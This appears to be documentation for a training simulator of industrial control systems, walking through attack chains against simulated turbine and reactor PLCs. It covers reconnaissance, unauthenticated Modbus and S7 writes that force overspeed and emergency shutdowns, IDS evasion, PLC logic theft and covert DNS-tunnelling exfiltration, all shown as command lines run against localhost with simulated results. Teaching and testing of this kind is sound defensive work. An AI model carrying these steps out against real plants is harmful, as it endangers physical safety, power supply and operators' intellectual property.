Attack scenario walkthroughs: Chaining vulnerabilities into impact¶

Or: How Ponder Demonstrated That Individual Flaws Become Catastrophes

The problem with isolated findings¶

Security assessments, Ponder discovered, tend to produce lists. A list of vulnerabilities, each with its severity rating (Critical, High, Medium, Low), each with its CVSS score (9.8, 7.5, 5.3), each described in isolation as though it existed independently of all the others.

The problem with lists is that they don’t tell stories. They don’t explain how an attacker actually progresses from sitting in a car park with a laptop to shutting down turbines. They don’t show how a “Medium” vulnerability in one system combines with a “Low” vulnerability in another to create a Critical path to catastrophic impact.

Lord Vetinari understood that security wasn’t about individual locks on individual doors. It was about whether someone could get from the street to the palace treasury, and how many obstacles stood in their way. The quality of each individual lock mattered less than the overall path through all the locks combined.

Attack scenario walkthroughs demonstrate these paths. They show how reconnaissance leads to vulnerability identification, which enables exploitation, which chains into impact. They’re the narrative that explains why security findings matter and what happens if they’re not addressed.

The simulator’s attack scenarios¶

The UU P&L simulator supports several complete attack scenarios, each demonstrating a different path from initial access to impact:

Scenario 1: Reconnaissance to exploitation Demonstrates the progression from discovering industrial devices to manipulating physical processes.

Scenario 2: Multi-protocol attack campaign Shows how attackers combine vulnerabilities across different industrial protocols.

Scenario 3: Detection evasion Demonstrates techniques for avoiding detection whilst conducting reconnaissance and exploitation.

Scenario 4: Data exfiltration campaign Shows how attackers steal intellectual property from control systems.

Each scenario uses the simulator’s actual scripts, demonstrating realistic attack progressions against the UU P&L infrastructure.

Scenario 1: From discovery to turbine manipulation¶

This scenario demonstrates the complete path from initial network reconnaissance to physical process manipulation.

Phase 1: Network reconnaissance¶

Objective: Discover what industrial systems are accessible

An attacker who has gained access to the facility network (through compromised HMI, engineering workstation, or other means) begins by identifying what systems exist and which protocols they speak.

Raw TCP probing provides initial connectivity testing:

python scripts/recon/raw-tcp-probing.py

Results:

Port 102: Responsive (likely S7)
Port 103: Responsive (likely S7)
Port 4840: Responsive (likely OPC UA)
Port 4841: Responsive (likely OPC UA)
Port 10502: Responsive (likely Modbus)
Port 10503: Responsive (likely Modbus)
Port 10504: Responsive (likely Modbus)
Port 44818: Responsive (likely EtherNet/IP)

Eight open ports, four different industrial protocols. Each represents potential attack surface.

Phase 2: Protocol fingerprinting¶

Objective: Confirm protocols and identify device types

With ports identified, the attacker confirms which protocols are actually running and attempts device identification.

Modbus identity probe extracts device information:

python scripts/recon/modbus_identity_probe.py --host 127.0.0.1 --port 10502

Results:

Vendor ID: Siemens
Product Code: S7-1500
Device identification confirmed via Modbus function code 43

Turbine reconnaissance provides comprehensive Modbus enumeration:

python scripts/recon/turbine_recon.py

Results:

18 holding registers accessible
8 coils accessible
Current turbine speed: 1500 RPM
Emergency stop status: Not triggered
Safety interlocks: Active

The attacker now knows the turbine can be monitored and potentially controlled via Modbus.

Phase 3: Vulnerability assessment¶

Objective: Determine what access is possible without authentication

Modbus register snapshot attempts complete register access:

python scripts/vulns/modbus_coil_register_snapshot.py --host 127.0.0.1 --port 10502

Results:

Complete read access to all 10000 holding registers
Complete read access to all 10000 input registers
Complete read access to all 10000 coils
Complete read access to all 10000 discrete inputs
No authentication required
No access control restrictions

The snapshot reveals critical information:

Register 0: Turbine speed setpoint (1500 RPM)
Register 1: Current actual speed (1500 RPM)
Register 2: Bearing temperature (68°C)
Coil 0: Emergency stop (False)
Coil 1: Safety interlock active (True)

Finding: Complete read access achieved. Write access likely possible through same protocol.

Phase 4: Exploitation preparation¶

Objective: Understand current system state before manipulation

Before attempting to modify process parameters, the attacker confirms current operational state to understand what changes would be most effective (or most damaging).

S7 PLC status dump provides reactor PLC status:

python scripts/vulns/s7_plc_status_dump.py --host 127.0.0.1 --port 102 --rack 0 --slot 2

Results:

PLC model: S7-400
CPU state: Running
Operating mode: Run
No password protection
Safety programme: Active

Both turbine (Modbus) and reactor (S7) systems are operational and unprotected.

Phase 5: Impact demonstration¶

Objective: Demonstrate ability to manipulate physical process

With complete reconnaissance and vulnerability assessment completed, the attacker demonstrates that physical process manipulation is possible.

Turbine overspeed attack demonstrates gradual speed manipulation:

python scripts/exploitation/turbine_overspeed_attack.py --host 127.0.0.1 --port 10502 --target-speed 1600 --step-size 10 --delay 5

Attack progression:

T+0s: Current speed 1500 RPM
T+5s: Write register 0 = 1510 RPM
T+10s: Write register 0 = 1520 RPM
T+15s: Write register 0 = 1530 RPM
…
T+50s: Write register 0 = 1600 RPM (target reached)

Results:

Turbine speed successfully modified
No authentication required
No alarms triggered during gradual change
Physical process now operating above normal parameters

Impact demonstrated: An attacker with network access can manipulate turbine speed without authentication. In a real system, excessive overspeed causes bearing damage, vibration issues, and potential catastrophic mechanical failure.

Phase 6: Additional impact scenarios¶

Having demonstrated basic manipulation, the attacker can demonstrate additional impact scenarios:

Emergency stop attack:

python scripts/exploitation/turbine_emergency_stop.py --host 127.0.0.1 --port 10502

Results:

Emergency stop coil written (coil 0 = True)
Turbine shutdown initiated
Power generation ceased
Demonstrates denial of service capability

Attack chain summary:

Discovery: 8 minutes (port scanning, protocol identification)
Enumeration: 12 minutes (device identification, register mapping)
Vulnerability assessment: 15 minutes (access testing, capability mapping)
Exploitation: 2 minutes (actual attack execution)

Total time from network access to physical process manipulation: 37 minutes

Skills required: Basic understanding of industrial protocols, ability to run Python scripts

Detection likelihood: Low (reconnaissance appears as normal network traffic, write operations look identical to legitimate HMI commands)

Scenario 2: Multi-protocol attack campaign¶

This scenario demonstrates how attackers chain vulnerabilities across different industrial protocols to achieve comprehensive system access.

Phase 1: OPC UA reconnaissance¶

Objective: Identify SCADA-level access

The attacker begins with OPC UA reconnaissance to understand the supervisory control layer.

OPC UA probe:

python scripts/vulns/opcua_readonly_probe.py --endpoint opc.tcp://127.0.0.1:4840

Results:

Anonymous authentication successful
Security Mode: None
156 tags exposed
Tag structure reveals complete plant architecture:
- Turbine.Speed
- Turbine.Temperature
- Reactor.Pressure
- Reactor.Temperature
- Safety.EmergencyStop

The OPC UA server provides a complete map of the entire control system architecture, including tag names that reveal system structure and operational parameters.

Phase 2: S7 PLC exploitation¶

Objective: Access reactor control systems

With system architecture understood from OPC UA, the attacker targets the reactor PLC using S7comm protocol.

S7 memory reading:

python scripts/vulns/s7_read_memory.py --host 127.0.0.1 --port 102 --rack 0 --slot 2

Results:

Complete access to PLC memory areas (DB, M, I, Q, PE, PA)
Read process image inputs and outputs
Data block contents accessible
No authentication required

S7 programme block dump:

python scripts/vulns/s7_readonly_block_dump.py --host 127.0.0.1 --port 102 --rack 0 --slot 2

Results:

Organisation blocks (OB) enumerated
Function blocks (FB) extracted
Data blocks (DB) downloaded
Complete ladder logic accessible

Impact: The attacker now possesses complete PLC programme logic, revealing:

Control algorithms (intellectual property)
Safety system logic
Interlock conditions
Alarm thresholds
Process parameters

Phase 3: EtherNet/IP enumeration¶

Objective: Access Allen-Bradley turbine controller

Having compromised Modbus and S7 systems, the attacker targets the Allen-Bradley controller using EtherNet/IP.

Allen-Bradley tag inventory:

python scripts/vulns/ab_logix_tag_inventory.py --host 127.0.0.1 --port 44818

Results:

18 controller tags enumerated
Tag names: TurbineSpeed, EmergencyStop, SafetyInterlock, etc.
Tag types: DINT, BOOL, REAL
Current values: All accessible without authentication

The EtherNet/IP protocol provides a third attack vector into the turbine control system, complementing the Modbus access already achieved.

Phase 4: Multi-protocol correlation¶

Objective: Understand relationships between protocols

The attacker correlates information gathered from all three protocols:

Turbine control accessible via:

Modbus TCP (port 10502): Direct register access
EtherNet/IP (port 44818): Tag-based access
OPC UA (port 4840): Supervisory monitoring

Reactor control accessible via:

S7comm (port 102): PLC-level access
Modbus TCP (port 10504): Alternative protocol access
OPC UA (port 4840): Supervisory monitoring

Finding: Multiple protocols provide redundant access paths. If one protocol is blocked or monitored, alternatives exist. This makes defence significantly more difficult.

Phase 5: Coordinated multi-system attack¶

With access to all protocols, the attacker demonstrates a coordinated attack across multiple systems.

Modbus shutdown demonstration:

python scripts/exploitation/modbus_shutdown_attack_demo.py

Attack sequence:

Write emergency stop to turbine (Modbus port 10502)
Write shutdown command to reactor (Modbus port 10504)
Write emergency stop to safety system (Modbus port 10503)

Results:

All three systems commanded to emergency stop simultaneously
Complete facility shutdown achieved
Coordinated via multiple protocols
Demonstrates capability for large-scale disruption

Attack chain summary:

Protocol access achieved:

OPC UA: Complete supervisory visibility
S7comm: Complete PLC access and programme extraction
Modbus TCP: Write access to all three PLCs
EtherNet/IP: Alternative turbine access

Time to achieve multi-protocol access: 45 minutes

Impact: Attacker has redundant access via four different protocols. Blocking one protocol does not prevent attack. Complete system compromise achieved through protocol diversity.

Scenario 3: Detection evasion techniques¶

This scenario demonstrates how attackers evade detection by mimicking normal operational patterns.

Phase 1: Baseline reconnaissance¶

Objective: Understand normal operational patterns before attack

Before conducting obvious attack traffic, the attacker establishes baseline understanding of normal operations.

Turbine reconnaissance:

python scripts/recon/turbine_recon.py --host 127.0.0.1 --port 10502 --delay 5

Observations:

Normal turbine speed: 1500 RPM
Normal bearing temperature: 65-70°C
Normal operational ranges established
Typical polling intervals observed

The attacker learns what “normal” looks like before attempting anything abnormal.

Phase 2: Slow reconnaissance¶

Objective: Enumerate systems without triggering rate-based detection

Instead of rapid scanning, the attacker uses slow, patient enumeration designed to evade anomaly detection.

Anomaly bypass testing:

python scripts/exploitation/anomaly_bypass_test.py --scan-delay 300 --duration 86400

Technique:

Scan one port every 5 minutes (instead of scanning all ports in seconds)
Spread reconnaissance over 24 hours
Generate connection patterns similar to normal HMI polling
Avoid traffic spikes that trigger rate-based detection

Results:

Complete reconnaissance achieved
No anomaly detection triggered
Attack traffic blends with normal operations
Patient attackers evade most monitoring systems

Phase 3: Protocol camouflage¶

Objective: Make attack traffic indistinguishable from legitimate traffic

Protocol camouflage:

python scripts/exploitation/protocol_camouflage.py --mimic-hmi

Technique:

Use same Modbus function codes as legitimate HMI
Use same polling intervals (1 second)
Use same packet sizes
Access same registers in same sequence

Results:

Malicious traffic identical to HMI traffic at protocol level
Signature-based detection ineffective
Behavioural detection ineffective
Attack succeeds whilst appearing as normal operations

Phase 4: Logging gap identification¶

Objective: Identify which actions leave no audit trail

Logging gap identification:

python scripts/exploitation/logging_gap_test.py

Findings:

Modbus read operations: Not logged
S7 read operations: Not logged
OPC UA browsing: Not logged
EtherNet/IP enumeration: Not logged

Only logged events:

OPC UA authentication (primary server only)
S7 password authentication attempts (if password protected)

Impact: Most reconnaissance activities leave no audit trail. Forensic analysis after attack will have significant blind spots.

Phase 5: Detection capability testing¶

Objective: Verify whether security monitoring actually detects attacks

IDS detection testing:

python scripts/exploitation/ids_detection_test.py --test-all

Tests performed:

Port scanning (rapid connection attempts)
Protocol anomalies (malformed Modbus commands)
High-frequency polling (abnormal traffic rates)
Out-of-specification behaviour

Results:

Port scanning: Should be detected (obvious attack signature)
Protocol anomalies: May be detected (depends on IDS protocol awareness)
High-frequency polling: Rarely detected (rate thresholds often too high)
Out-of-specification: Rarely detected (most IDS lack protocol understanding)

Finding: Obvious attacks are sometimes detected. Sophisticated, slow attacks are rarely detected. Patient attackers evade most monitoring.

Scenario 4: Data exfiltration campaign¶

This scenario demonstrates intellectual property theft from industrial systems.

Phase 1: Target identification¶

Objective: Identify valuable data worth exfiltrating

OPC UA probe reveals data sources:

python scripts/vulns/opcua_readonly_probe.py --endpoint opc.tcp://127.0.0.1:4840

Valuable targets identified:

Historian database (years of operational data)
PLC ladder logic (control algorithms, intellectual property)
SCADA configurations (system architecture)
Tag databases (complete system documentation)

Phase 2: PLC logic extraction¶

Objective: Steal control algorithms and safety logic

S7 block dump:

python scripts/vulns/s7_readonly_block_dump.py --host 127.0.0.1 --port 102 --rack 0 --slot 2 --output-dir /tmp/exfiltrated/

Exfiltrated data:

Organisation blocks (OB1, OB100, OB122)
Function blocks (FB1-FB47)
Data blocks (DB1-DB156)
System function blocks (SFB)

Value: Complete reactor control algorithms, representing years of engineering work. Competitor could replicate entire control system from extracted logic.

PLC logic extraction provides additional extraction capabilities:

python scripts/exploitation/plc_logic_extraction.py --host 127.0.0.1

Results:

Allen-Bradley ladder logic extracted via EtherNet/IP
Programme downloaded in L5X format
Complete turbine control logic obtained

Phase 3: Historian data exfiltration¶

Objective: Extract operational data and production metrics

Historian exfiltration:

python scripts/exploitation/historian_exfiltration.py --scada-url opc.tcp://127.0.0.1:4840 --duration 8760

Exfiltrated data:

12 months of operational data
Production rates and efficiency metrics
Equipment performance trends
Maintenance records
Alarm histories

Value: Competitor gains complete understanding of facility efficiency, bottlenecks, and operational capabilities. Data worth millions in competitive intelligence.

Phase 4: Covert exfiltration¶

Objective: Extract data without detection

Covert exfiltration:

python scripts/exploitation/covert_exfiltration.py --method dns-tunnelling --rate-limit 1000

Techniques:

DNS tunnelling (exfiltrate via DNS queries)
Rate limiting (1KB/s to avoid bandwidth anomalies)
Encryption (data encrypted before transmission)
Fragmentation (large files split into small chunks)

Results:

500MB of data exfiltrated over 6 days
No bandwidth anomalies detected
No data loss prevention alerts
Exfiltration appears as normal DNS traffic

Attack chain summary:

Data exfiltrated:

Complete PLC ladder logic
12 months operational data
SCADA configurations
Tag databases

Exfiltration time: 6 days (covert, rate-limited)

Detection: None (covert techniques successful)

Value to competitor: €5-10 million (intellectual property and competitive intelligence)

Cross-scenario attack patterns¶

Ponder’s testing revealed patterns common across all attack scenarios:

Authentication is absent¶

None of the tested protocols required authentication by default:

Modbus TCP: No authentication mechanism
S7comm: Optional password protection (not enabled)
OPC UA: Anonymous access allowed
EtherNet/IP: No authentication for tag access

Finding: Network access equals authorisation. If you can reach the port, you can use the protocol.

Multiple protocols provide redundancy¶

Most devices support multiple protocols:

Turbine PLC: Modbus + EtherNet/IP
Reactor PLC: S7 + Modbus

Impact: Blocking one protocol doesn’t prevent attack. Attackers have alternative access paths.

Read operations are invisible¶

Most reconnaissance is read-only and leaves no audit trail:

Reading Modbus registers: Not logged
Browsing OPC UA tags: Not logged
Reading S7 memory: Not logged

Impact: Attackers can conduct extensive reconnaissance without detection.

Gradual attacks evade detection¶

Slow, patient attacks evade rate-based and anomaly detection:

Reconnaissance over days instead of minutes
Parameter changes over hours instead of seconds
Traffic patterns mimicking normal operations

Impact: Sophisticated attackers evade most monitoring by simply being patient.

Ponder’s conclusions¶

Ponder’s testing journal concluded:

“Attack scenario walkthroughs demonstrate what vulnerability lists cannot: how individual flaws combine into catastrophic outcomes.

“The simulator’s scenarios show realistic attack progressions. Reconnaissance scripts discover systems. Vulnerability assessment scripts identify access. Exploitation scripts demonstrate impact. Detection testing scripts reveal whether anyone would notice.

“Each scenario completes in under an hour. No sophisticated techniques required. No zero-day exploits. Just unauthenticated protocols and basic commands.

“The simulator demonstrates that OT security failures aren’t theoretical. They’re practical, achievable, and devastating.

“These walkthroughs show what happens when security isn’t properly implemented. They’re the stories that explain why findings matter and what happens if they’re ignored.”